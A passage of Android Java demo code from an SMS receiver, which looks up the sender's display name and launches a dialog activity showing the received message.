        Cursor cursor = context.getContentResolver().query(uri, projection, null, null, null);
        if (cursor != null) {
            if (cursor.moveToFirst())
                fromDisplayName = cursor.getString(0);

            cursor.close();
        }

        // Trigger the main activity to fire up a dialog that shows/reads the received messages
        Intent di = new Intent();
        di.setClass(context, SmsReceivedDialog.class);
        di.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP);
        di.putExtra(SmsReceivedDialog.SMS_FROM_ADDRESS_EXTRA, fromAddress);
        di.putExtra(SmsReceivedDialog.SMS_FROM_DISPLAY_NAME_EXTRA, fromDisplayName);
        di.putExtra(SmsReceivedDialog.SMS_MESSAGE_EXTRA, message.getMessageBody().toString());
        context.startActivity(di);

        // For the purposes of this demo, we'll only handle the first received message.
        break;
    }
}